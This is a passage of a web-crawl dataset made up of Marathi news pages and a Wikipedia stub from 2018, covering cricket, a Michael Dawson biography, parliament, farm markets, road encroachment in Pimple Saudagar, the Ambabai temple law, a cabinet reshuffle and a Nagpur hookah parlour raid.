मध्ये मास्टर ब्लास्टरने बांगा बिट्स या संघाची खरेदी करून त्याचा सहमालक झाला. पुढे याच संघाला बेंगळुरू ब्लास्टर्स असे नाव दिले.\n#४ सचिन आणि चेन्नई (प्रो कबड्डी टीम )\nदेशात प्रसिद्धीमध्ये आयपीएललाही मागे टाकलेली एकमेव लीग म्हणजे प्रो कबड्डी लीग. या लीगचा मोठा चाहता वर्ग आहे. अश्या या लीगच्या ५व्या मोसमात ४ संघांची भर घालण्यात आली. त्यात चेन्नई संघांचा सचिन हा सहमालक आहे.\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\nकर्णधारपद रोहित शर्मासाठी ठरतयं फलदायी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00148.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://mr.wikipedia.org/wiki/%E0%A4%AE%E0%A4%BE%E0%A4%AF%E0%A4%95%E0%A5%87%E0%A4%B2_%E0%A4%A1%E0%A5%89%E0%A4%B8%E0%A4%A8", "date_download": "2018-09-25T16:49:28Z", "digest": "sha1:PKUPZIQKT42TLNDHYO632XG7XQISEUYM", "length": 4241, "nlines": 104, "source_domain": "mr.wikipedia.org", "title": "मायकेल डॉसन - विकिपीडिया", "raw_content": "\nमायकेल रिचर्ड डॉसन (नोव्हेंबर १८, इ.स. १९८३ - ) हा इंग्लंडकडून आंतरराष्ट्रीय फुटबॉल खेळणारा खेळाडू आहे. हा टॉटेनहॅम हॉटस्परकडून क्लब फुटबॉल खेळतो.\nकृपया स्वत:च्या शब्दात परिच्छेद लेखन करून या लेखाचा / विभागाचा विस्तार करण्यास मदत करा.\nअधिक माहितीसाठी या लेखाचे चर्चा पान, विस्तार कसा करावा किंवा इतर विस्तार विनंत्या पाहा.\nइ.स. १९८३ मधील जन्म\nयेथे काय जोडले आहे\nया पानातील शेवटचा बदल ४ ऑगस्ट २०१७ रोजी ०६:४५ वाजता केला गेला.\nयेथील मजकूर हा क्रियेटीव्ह कॉमन्स अट्रीब्युशन/शेअर-अलाईक लायसन्स या अंतर्गत उपलब्ध आहेत;अतिरिक्त अटी लागू असू शकतात. अधिक माहितीसाठी हे बघा वापरण्याच्या अटी.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00148.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://www.agrowon.com/agriculture-news-marathi-parliament-session-delhi-6571", "date_download": "2018-09-25T17:49:44Z", "digest": "sha1:ABJZZLSAJR7JJCUS4Z5QNLROQUAAE53E", "length": 18195, "nlines": 150, "source_domain": "www.agrowon.com", "title": "agriculture news in marathi, parliament session, Delhi | Agrowon", "raw_content": "\nAgrowon च्या बातम्यांसाठी सबस्क्राईब करा\nAgrowon च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\nशुक्रवार, 16 मार्च 2018\nनवी दिल्ली : संसदेत विरोधकांचा गोंधळ चालूच रहाण्याची दाट चिन्हे असल्याने अर्थसंकल्पी अधिवेशनाचा कणा मानले जाणारे वित्त विधेयक व अर्थविषय तरतुदींचे विधेयक लोकसभेत प्रचंड गदारोळात मंजूर केल्यावर अधिवेशन गुरुवारी (ता. १६) किंवा पुढच्या आठवड्याच्या प्रारंभी गुंडाळण्याच्या हालचाली गतिमान झाल्या आहेत. पंतप्रधान नरेंद्र मोदी यासाठी फारसे अनुकूल नाहीत; मात्र कामकाज चालणारच नसेल, तर पुढच्या पंधरा दिवसांत अधिवेशन चालविण्यापेक्षा सरकारची कल्याणकारी धोरणे जनतेपर्पंत नेण्यासाठी खासदारांना मोकळे का करत नाही, असा प्रश्‍न सत्तारूढ खासदारच विचारू लागले आहेत.\nनवी दिल्ली : संसदेत विरोधकांचा गोंधळ चालूच रहाण्याची दाट चिन्हे असल्याने अर्थसंकल्पी अधिवेशनाचा कणा मानले जाणारे वित्त विधेयक व अर्थविषय तरतुदींचे विधेयक लोकसभेत प्रचंड गदारोळात मंजूर केल्यावर अधिवेशन गुरुवारी (ता. १६) किंवा पुढच्या आठवड्याच्या प्रारंभी गुंडाळण्याच्या हालचाली गतिमान झाल्या आहेत. पंतप्रधान नरेंद्र मोदी यासाठी फारसे अनुकूल नाहीत; मात्र कामकाज चालणारच नसेल, तर पुढच्या पंधरा दिवसांत अधिवेशन चालविण्यापेक्षा सरकारची कल्याणकारी धोरणे जनतेपर्पंत नेण्यासाठी खासदारांना मोकळे का करत नाही, असा प्रश्‍न सत्तारूढ खासदारच विचारू लागले आहेत.\nसलग नवव्या दिवशी गुरुवारी (ता. १५) संसदेचे कामकाज ठप्प झाले. लोकसभेत एक विधेयक गोंधळात मंजूर केले गेले व राज्यसभेत कामकाजच झाले नाही. उत्तर प्रदेश पोटनिवडणुकीत भाजपला धूळ चारल्याने विरोधकांच्या शिडात हवा भरली आहे. दोन्ही सभागृहांत गदारोळाची परंपरा आजही कायम राहिली. अधिवेशनाचा उत्तरार्ध सुरू झाल्यापासून लोकसभेचे कामकाज प्रथम दुपारी बारापर्यंत व नंतर दिवसभरासाठी तर राज्यसभा दुपारी दोन व नंतर दिवसभरासाठी तहकूब होणे हा प्रघातच पडून गेल्याचे चित्र आहे.\nआंध्र प्रदेशाच्या विशेष पॅकेजच्या मुद्द्यावरून तेलुगू देसम संतप्त आहे, तर तेलंगणा राष्ट्र समिती, अण्णा द्रमुक व शिवसेनेचे खासदारही गोंधळात उतरले आहेत. राज्यसभेत त्यांची संख्या कमी असल्याची कमतरता अण्णा द्रमुक, समाजवादी पक्ष व अखेरीस कॉँग्रेस भरून काढते. आज तेलुगू देसमचे राजीनामा दिलेले मंत्री वाय. एस. चौधरी यांना सभापतींनी बोलण्याची परवानगी दिली होती. त्यांनी आंध्र प्रदेशावरील अन्यायाबाबत भाषण सुरू केले. मात्र २०१४ मध्ये झालेल्या राज्याच्या विभाजनाच्या मुद्द्यावर त्यांची गाडी घसरली आणि कॉँग्रेस सदस्य संतापले. त्यानंतर नेहमीचा गदारोळ सुरू झाला.\nअधिवेशनाचा कालावधी पाच एप्रिलपर्यंत असला तरी ते असा पद्धतीने चालणार असेल तर त्यापेक्षा आम्हाला आमच्या मतदारसंघांत जाऊ द्या, असा आग्रह अनेक भाजप खासदारांनी धरला आहे. राज्यसभेत एक कामगारविषयक विधेयक मंजूर होणे अत्यावश्‍यक असल्याने वरिष्ठ सभागृहात उद्याच्या उद्या अधिवेशन तहकुबीची शक्‍यता कमी दिसते, असे शिक्षणमंत्री प्रकाश जावडेकर यांनी कामकाज गुंडाळण्याबाबत बोलताना सूचकपणे नमूद केले.\nमाकपने हे अधिवेशन म्हणजे तमाशा किंवा नाटकबाजी झाल्याची जोरदार टीका केली आहे. वित्त विधेयक गोंधळात व चर्चा न होता मंजूर करणे हा लोकशाहीचा अपमान असल्याचे माकप नेते महंमद सलीम यांनी सांगितले.\nअर्थसंकल्प union budget विधेयक अधिवेशन नरेंद्र मोदी narendra modi मका maize उत्तर प्रदेश भाजप राज्यसभा आंध्र प्रदेश समाजवादी पक्ष प्रकाश जावडेकर\nबच्चू कडूंच्या नेतृत्वाखाली एमपीएससी...\nपुणे : स्पर्धा परीक्षांची तयारी करणाऱ्या विद्यार्थ्यांच्या विविध मागण्यांसाठी येत्या 27 स\nजिल्हा परिषदेतील कृषी अधिकारी यांना राजपत्रित...\nमुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क, तांत्रिक) हे प\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिर\nजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात स्थिर राहिले.\nकळमणा बाजारात सोयाबीनच्या दरात वाढ\nनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा बाजार समितीत इतर शेतीमालाचे भाव स्थिर हो\nकोल्हापुरात फळांची आवक मंदावली, मागणीतही घट\nकोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या सप्ताहात टोमॅटोच्या आवकेत वाढ कायम होती.\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिरजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात...\nकोल्हापुरात फळांची आवक मंदावली,...कोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या...\nकळमणा बाजारात सोयाबीनच्या दरात वाढनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा...\nनाशिकला टोमॅटोची आवक वाढली; कांदा,...नाशिक : नाशिक बाजार समितीत गतसप्ताहात टोमॅटोची...\nकपाशीतील किडींचे एकात्मिक नियंत्रणसध्या कपाशीचे पीक पाते, फुले व बोंड लागण्याच्या...\nसांगली जिल्ह्यात सेंद्रिय शेतमालाला हवी...सांगली जिल्ह्यामध्ये सेंद्रिय शेतीमाल विक्री...\nनाशिक जिल्ह्यात सेंद्रिय शेतीची वाटचाल...नाशिक जिल्ह्यात सेंद्रिय शेतीचे तीन वर्षांपूर्वी...\nनाशिक, निफाड कारखाना भाड्याने देण्याचा...नाशिक : कर्जबाजारी व आर्थिक डबघाईमुळे गेल्या काही...\nअकोला, बुलडाण्यात पीक कर्जवाटप ३०...अकोला ः शेतकऱ्यांना खरीप हंगामासाठी पीक...\nगोंदियातील कृषी सेवा केंद्रे लावणार...गोंदिया ः जमिनीची गरज ओळखूनच खताची मात्रा...\nसाताऱ्यात पावसाअभावी पिके करपू लागलीसातारा : जिल्ह्यात सुमारे एक महिन्यापासून...\nनगर जिल्ह्यात पावसाअभावी कांदा लागवड...नगर ः जिल्हाभरात पावसाअभावी कांदालागवड...\nवाशीममध्ये रब्बीत हरभऱ्याचे क्षेत्र...वाशीम ः या हंगामात जिल्ह्यात चांगला पाऊस...\nखरेदी केंद्र सुरू करण्याच्या मागणीसाठी...सातारा : शेतीमाल खरेदी केंद्रे त्वरित सुरू...\nसंघर्ष गोकुळ ‘मल्टिस्टेट’चाकोल्हापूर जिल्हा दूध संघ (गोकुळ) मल्टिस्टेट...\n'दारुमुळे दरवर्षी अडीच लाखापेक्षा जास्त...नवी दिल्ली- दारूमुळे दरवर्षी जवळपास अडीच...\nजालन्यात पाण्यात बुडून तिघांचा मृत्यूजालना : गणपती बाप्पांचे विसर्जन करताना जालना...\nशिखर, रोहितने पाकला धुतले; भारत अंतिम...दुबई : पाकिस्तानने उभारलेल्या 237 धावांचा सहजी...\nखानदेशात मध्यम पाऊस; नंदुरबारला हुलकावणीजळगाव : खानदेशात शुक्रवारी (ता.२१) मध्यरात्री व...\nपुणे जिल्ह्यात ढगाळ हवामानपुणे : जिल्ह्यात आठवड्याच्या सुरवातीला...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00149.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.esakal.com/pune/pimple-saudagar-high-class-road-acquire-41858", "date_download": "2018-09-25T17:59:37Z", "digest": "sha1:MTUT7VOR5Y4I3LQTSNFGXQ6G4E64LEY5", "length": 15919, "nlines": 187, "source_domain": "www.esakal.com", "title": "pimple saudagar high class road acquire पिंपळे सौदागरचा हायक्‍लास रस्ता गिळंकृत | eSakal", "raw_content": "\nपिंपळे सौदागरचा हायक्‍लास रस्ता गिळंकृत\nमंगळवार, 25 एप्रिल 2017\nपिंपरी - व्यावसायिकांनी गिळंकृत केलेले पदपथ..फेरीवाले, हातगाडीवाले यांनी थेट रस्त्यावर केलेले अतिक्रमण आणि रस्त्याच्या दुतर्फा होणाऱ्या बेकायदा पार्किंगमुळे पादचारी व वाहनचालकांची उडणारी गाळण...हे चित्र पिंपरी कॅंप अथवा काळेवाडी परिसरातील नाही, तर शहरातील हायक्‍लास अशा पिंपळे सौदागरमधील कुणाल आयकॉन रस्त्यावरचे. महापालिका आणि वाहतूक विभागाने याकडे सोईस्कररीत्या डोळेझाक केल्याने येथील समस्येत दिवसेंदिवस भरच पडत आहे.\nपिंपरी - व्यावसायिकांनी गिळंकृत केलेले पदपथ..फेरीवाले, हातगाडीवाले यांनी थेट रस्त्यावर केलेले अतिक्रमण आणि रस्त्याच्या दुतर्फा होणाऱ्या बेकायदा पार्किंगमुळे पादचारी व वाहनचालकांची उडणारी गाळण...हे चित्र पिंपरी कॅंप अथवा काळेवाडी परिसरातील नाही, तर शहरातील हायक्‍लास अशा पिंपळे सौदागरमधील कुणाल आयकॉन रस्त्यावरचे. महापालिका आणि वाहतूक विभागाने याकडे सोईस्कररीत्या डोळेझाक केल्याने येथील समस्येत दिवसेंदिवस भरच पडत आहे.\nअतिक्रमणांच्या विळख्यात अडकलेल्या या रस्त्याने मागील वर्षी एका युवतीचे प्राण घेतले. त्यानंतर तरी पालिका प्रशासन तसेच वाहतूक विभाग जागे होऊन अतिक्रमणाविरोधात ठोस भूमिका घेईल, अशी येथील रहिवाशांची अपेक्षा होती. मात्र, प्रशासनाने कारवाईचा केवळ फार्स केला.\nपरिणामी, रहिवाशांची घुसमट कायम राहिली. या रस्त्यालगत असणाऱ्या सोसायट्यांमधील ज्येष्ठ नागरिकांना बाहेर पडणेही मुश्‍कील झाले आहे. वाहनचालकांनाही अनेक अडथळ्यांची शर्यत पार पाडावी लागत आहे.\nशिवार चौक ते महापालिका उद्यानापर्यंत रस्त्यावर अतिक्रमणांची बजबजपुरी पाहायला मिळते. रस्त्यावरील अतिक्रमणांच्या भाऊगर्दीत अवघा १९ फुटी रस्ता हरवून जातो. त्यातून वाट काढताना हाल होतात. वीकेंडला त्यात अधिकच भर पडते. दुकान व्यावसायिक आपले व्यवसाय थेट पदपथावर मांडतात. येथील रस्त्यावर लावल्या जाणाऱ्या वाहनांच्या संख्येतही मोठी वाढ होते. वाकड्यातिकड्या स्वरूपात बेजबाबदारपणे लावल्या जाणाऱ्या या वाहनांमुळे डोकेदुखीत भर पडते. परिणामी, वाहतूक कोंडीसारख्या समस्या उद्‌भवतात.\nअनेक पक्षांचा होता जाहीरनामा..\nनिवडणुकीमध्ये सर्वपक्षीय उमेदवारांनी जाहीरनामा प्रसिद्ध केला होता. या जाहीरनाम्यामध्ये पिंपळे सौदागर विशेषतः कुणाल आयकॉन रस्ता अतिक्रमणमुक्त करण्याचे वचन मतदारांना देण्यात आले होते. ऐन निवडणुकीच्या काळात अतिक्रमणविरोधी कारवाईचा देखावाही करण्यात आला होता. मात्र, ही कारवाई तात्पुरतीच ठरली.\nकेवळ स्वत:च्या व्यवसायातूनच नव्हे, तर थेट पदपथ भाड्याने देऊन येथील अनेक दुकानचालक मालामाल झाले असल्याचा स्थानिक कार्यकर्त्यांचा दावा आहे. ही अतिक्रमणे हटविण्यासाठी पालिका\nप्रशासन आणखी एखादा बळी जाण्याची वाट पाहत आहेत, का असा संतप्त सवालही रहिवाशांनी विचारला आहे.\nपथारीवाले फेरीवाल्यांचे जोपर्यंत पुनर्वसन करत नाही, तोपर्यंत कारवाई करू नये, असे सर्वोच्च न्यायालयाचे निर्देश आहे. त्यामुळे कोणत्याही अतिक्रमणांवर कारवाई करता येत नाही. मात्र, ते हटविण्याचे काम ‘ड’ प्रभागाकडून सातत्याने सुरू असते. हा रस्ता अतिक्रमणमुक्त करण्याच्यादृष्टीने महापालिकेचा आराखडा सुरू आहे. त्याच्या केवळ तांत्रिक बाबी शिल्लक आहे. त्या पूर्ण झाल्यानंतर ही अतिक्रमणे हटविली जातील.\n- शिरिष पोरड्डी, प्रवक्ते, स्थापत्य विभाग\nबीडमध्ये घर परवान्यावर शाळा बांधकाम ; गुन्हा दाखल\nबीड : नगर पालिकेकडून घराच्या बांधकामाचा परवाना घेऊन शहरातील अजिजपुरा भागात शाळेचे बांधकाम केल्याचे स्वच्छता विभागाच्या पाहणीत समोर आले आहे....\nवीरप्पनच्या 9 साथीदारांची मुक्तता\nइरोड (तमिळनाडू)- दिवंगत कन्नड सुपरस्टार राजकुमार यांचे अपहरण केलेला चंदन तस्कर वीरप्पन याच्या नऊ साथीदारांची न्यायाधीशांनी सबळ पुराव्याअभावी मंगळवारी...\nतेरा दिवसात पती-पत्नीचा स्वाईन फ्लुमळे मृत्यु\nउरुळी कांचन : उरुळी कांचन (ता. हवेली) येथील प्रभावती वाल्मिक कांचन यांचे बारा दिवसांपुर्वी स्वाईन फ्लुमळे झालेल्या मृत्युचे दुःख अद्याप ताजे असतानाच...\nबऊर शिवारात आढळला बिबट्या\nहिंगोली : कळमनुरी तालुक्यातील बऊर शिवारामध्ये बिबट्याने एका बैलाचा फडशा पाडल्यानंतर वन विभागाने लावलेल्या कॅमेऱ्यात मंगळवारी (ता. २५ ) बिबट्याचे...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00151.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Kolhapur/Governors-stamp-on-Ambabai-temple-law/", "date_download": "2018-09-25T16:50:15Z", "digest": "sha1:U66DLZOHJ44OAN3O6NZTJ5ZLBXU5JZU6", "length": 7779, "nlines": 40, "source_domain": "www.pudhari.news", "title": " अंबाबाई मंदिर कायद्यावर राज्यपालांची मोहर | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Kolhapur › अंबाबाई मंदिर कायद्यावर राज्यपालांची मोहर\nअंबाबाई मंदिर कायद्यावर राज्यपालांची मोहर\nमुंबई : चंद्रशेखर माताडे\nकोल्हापूरच्या प्रसिद्ध अंबाबाई मंदिर कायद्याला राज्यपाल सी. विद्यासागर राव यांनी मंजुरी दिली आहे. त्यामुळे या मंदिरात पगारी पुजारी नेमण्याचा मार्ग मोकळा झाला आहे. या मंजुरीनंतर आता नियमावली तयार केली जाईल, त्यानंतर येत्या काही महिन्यांतच या कायद्याची अंमलबजावणी सुरू होईल.अंबाबाई देवीला घागरा चोलीचा पोशाख घातल्यावरून कोल्हापुरात वातावरण संतप्‍त झाले होते. या मंदिरातील पुजारी हटवून तेथे पगारी पुजारी नेमण्याची मागणी करण्यात आली होती. या मागणीसाठी कृती समितीही स्थापन करण्यात आली होती. या समितीच्या मागणीवरून पालकमंत्री चंद्रकांत पाटील यांनी कोल्हापूरचे जिल्हाधिकारी अविनाश सुभेदार यांची एकसदस्य समिती स्थापन केली होती. या समितीने कृती समिती व पुजार्‍यांचे म्हणणे ऐकून घेऊन सरकारलाच यामध्ये निर्णय घेण्याची विनंती एका अहवालाद्वारे केली होती.\nराज्य सरकारने त्यानुसार विधी व न्याय खात्याच्या अधिकार्‍यांची एक समिती नेमली होती. या समितीने कायद्याचा मसुदा तयार केला होता. या कायद्याला विधानसभा व विधान परिषदेने एकमताने मंजुरी दिली. त्याची अंमलबजावणी करण्यासाठी त्यावर राज्यपालांच्या मंजुरीची गरज होती. तीही प्रक्रिया पूर्ण झाली असून, राज्यपालांनी विधिमंडळाने एकमताने मंजूर केलेल्या या कायद्यावर मंजुरीची मोहर उमटवली आहे. त्याचे गॅझेटही झाले असून, कायद्याची अंमलबजावणी करण्याचा मार्ग मोकळा झाला आहे.\nया कायद्यानुसार आता नियमावली तयार करावी लागणार आहे. राज्याच्या विधी व न्याय विभागाचे प्रधान सचिव एन. जे. जमादार यांनी पश्‍चिम महाराष्ट्र देवस्थान व्यवस्थापन समितीचे अध्यक्ष महेश जाधव, सचिव विजय पवार यांच्याशी या कायद्याच्या अंमलबजावणीच्या अनुषंगाने काय काय तयारी करावी लागणार आहे, याबाबत सोमवारी मंत्रालयातील त्यांच्या दालनात प्राथमिक चर्चा केली.\nश्री करवीरनिवासिनी महालक्ष्मी (अंबाबाई) मंदिर नावाने हा कायदा आहे. या कायद्याने आठ सदस्यांची समिती स्थापन करण्यात येणार आहे. त्यामध्ये अध्यक्ष, उपाध्यक्ष, कोषाध्यक्ष, पदसिद्ध कोल्हापूर महापौर, महिला, अनुसूचित जातीचा एक सदस्य यांचा यामध्ये समावेश करावा लागणार आहे. सध्या दोन किंवा अधिक व्यक्‍तींचा अंतर्भाव असणारी एक समिती स्थापन करण्यात येणार आहे. त्यापैकी एका व्यक्‍तीची अध्यक्ष म्हणून नियुक्‍ती केली जाणार आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00151.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/513592", "date_download": "2018-09-25T17:16:45Z", "digest": "sha1:W2KVDFIM4JO53BYOUOK72Q6C6TMX7KLH", "length": 4667, "nlines": 40, "source_domain": "www.tarunbharat.com", "title": "संरक्षणमंत्रिपदी निर्मला सीतारमन - तरुण भारत | तरुण भारत", "raw_content": "\nYou are here: Home » Top News » संरक्षणमंत्रिपदी निर्मला सीतारमन\nऑनलाईन टीम / नवी दिल्ली :\nपंतप्रधान नरेंद्र मोदी यांच्या कॅबिनेट मंत्रिमंडळाचा विस्तार आज करण्यात आला. यामध्ये संरक्षणमंत्रिपदी निर्मला सीतारमन यांची नियुक्ती करण्यात आली असून, सुरेश प्रभूंना वाणिज्य खात्याचा पदभार देण्यात आला आहे.\nकॅबिनेट मंत्रिमंडळ विस्तारात सध्याच्या काही राज्यमंत्र्यांना बढती देण्यात आली आहे. तसेच विद्यमान मंत्र्यांच्या खात्यात बदल करण्यात आला आहे. यामध्ये वस्त्राsद्योग मंत्री स्मृती इराणी यांना सूचना आणि प्रसारण मंत्रालय, पेट्रोलियम मंत्री धर्मेंद्र प्रधान यांना कौशल्यविकास मंत्रालय, उर्जा राज्यमंत्री पियुष गोयल यांना रेल्वे मंत्रालय तर याशिवाय रस्ते वाहतूकमंत्री नितीन गडकरी यांना गंगा जल संधारण मंत्रालयाचा अतिरिक्त कार्यभार सोपवण्यात आल्याची माहिती मिळत आहे.\nबँक दरोडा ; राष्ट्रवादीचा पदाधिकारी अटकेत\nकाँग्रेससोबतच्या चर्चेचे आप नेत्यांकडून स्टिंग\nमल्टिप्लेक्स चालक मनसे अध्यक्ष राज ठाकरेंच्या भेटीला\nसर्व दोषींना शिक्षा होणारच : नितीश कुमार\nPosted in: Top News, राष्ट्रीय-आंतरराष्ट्रीय\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00151.warc.wet.gz", "language": "mr", "language_score": 0.91, "bucket": "all"} {"url": "https://www.nagpurtoday.in/congress-corporator-nagpur-bunty-shelke/09131003", "date_download": "2018-09-25T16:46:06Z", "digest": "sha1:IPGWRJG3F3S5EKW3L7AUCM3PVMWA4JIH", "length": 8882, "nlines": 74, "source_domain": "www.nagpurtoday.in", "title": "नागपूरचे काँग्रेसचे नगरसेवक बंटी शेळके यांच्यासह कार्यकर्ते हुक्का पार्लरमध्ये - Nagpur Today : Nagpur News नागपूरचे काँग्रेसचे नगरसेवक बंटी शेळके यांच्यासह कार्यकर्ते हुक्का पार्लरमध्ये – Nagpur Today : Nagpur News", "raw_content": "\nनागपूरचे काँग्रेसचे नगरसेवक बंटी शेळके यांच्यासह कार्यकर्ते हुक्का पार्लरमध्ये\nनागपूर : सामाजिक आणि राजकीय क्षेत्रात वावरणाऱ्या व्यक्ती समाजासाठी आदर्शवत असाव्यात. कारण त्यांच्या व्यवहाराचा परिणाम अप्रत्यक्षपणे समाजावर होत असतो. मात्र मंगळवारी रात्री उशिरापर्यंत सुरू असलेल्या हुक्का पार्लरमध्ये युवक काँग्रेसचे अखिल भारतीय सचिव व नगरसेवक बंटी शेळके हे कार्यकर्त्यांसह दिसल्याने आश्चर्य व्यक्त केले जात आहे. पोलिसांनी हुक्का पार्लरचे सीसीटीव्ही फुटेजही जप्त केले आहे.\nडीसीपी नीलेश भरणे हे मंगळवारी नाईट राऊंडवर होते. त्यांना सदर छावणी येथील विंड अ‍ॅण्ड वूड्स रेस्टॉरंट आणि अंबाझरीतील हवेली रेस्टॉरंटमध्ये हुक्का पार्लर रात्री १ वाजतानंतरही सुरु असल्याची माहिती मिळाली. यानंतर डीसीपी भरणे यांनी सदर पोलिसांना कारवाईचे निर्देश दिले.\nसदर पोलिसांनी राजनगर येथे संचालित रवींदर सिंह रंधकच्या पार्लवर धाड टाकली. तेव्हा दहा अल्पवयीन मुलेही सापडली. मिळालेल्या माहितीनुसार पोलिसांनी धाड टाकली तेव्हा काँग्रेसचे नगरसेवक बंटी शेळके हे आपले मित्र व कार्यकर्त्यांसोबत पार्लरमध्ये आढळून आले. तसेच अंबाझरी येथील हवेली रेस्ेॉरंटमधील हुक्का पार्लरविरुद्धही कारवाई करण्यात आली. सदर येथील रंधक आणि 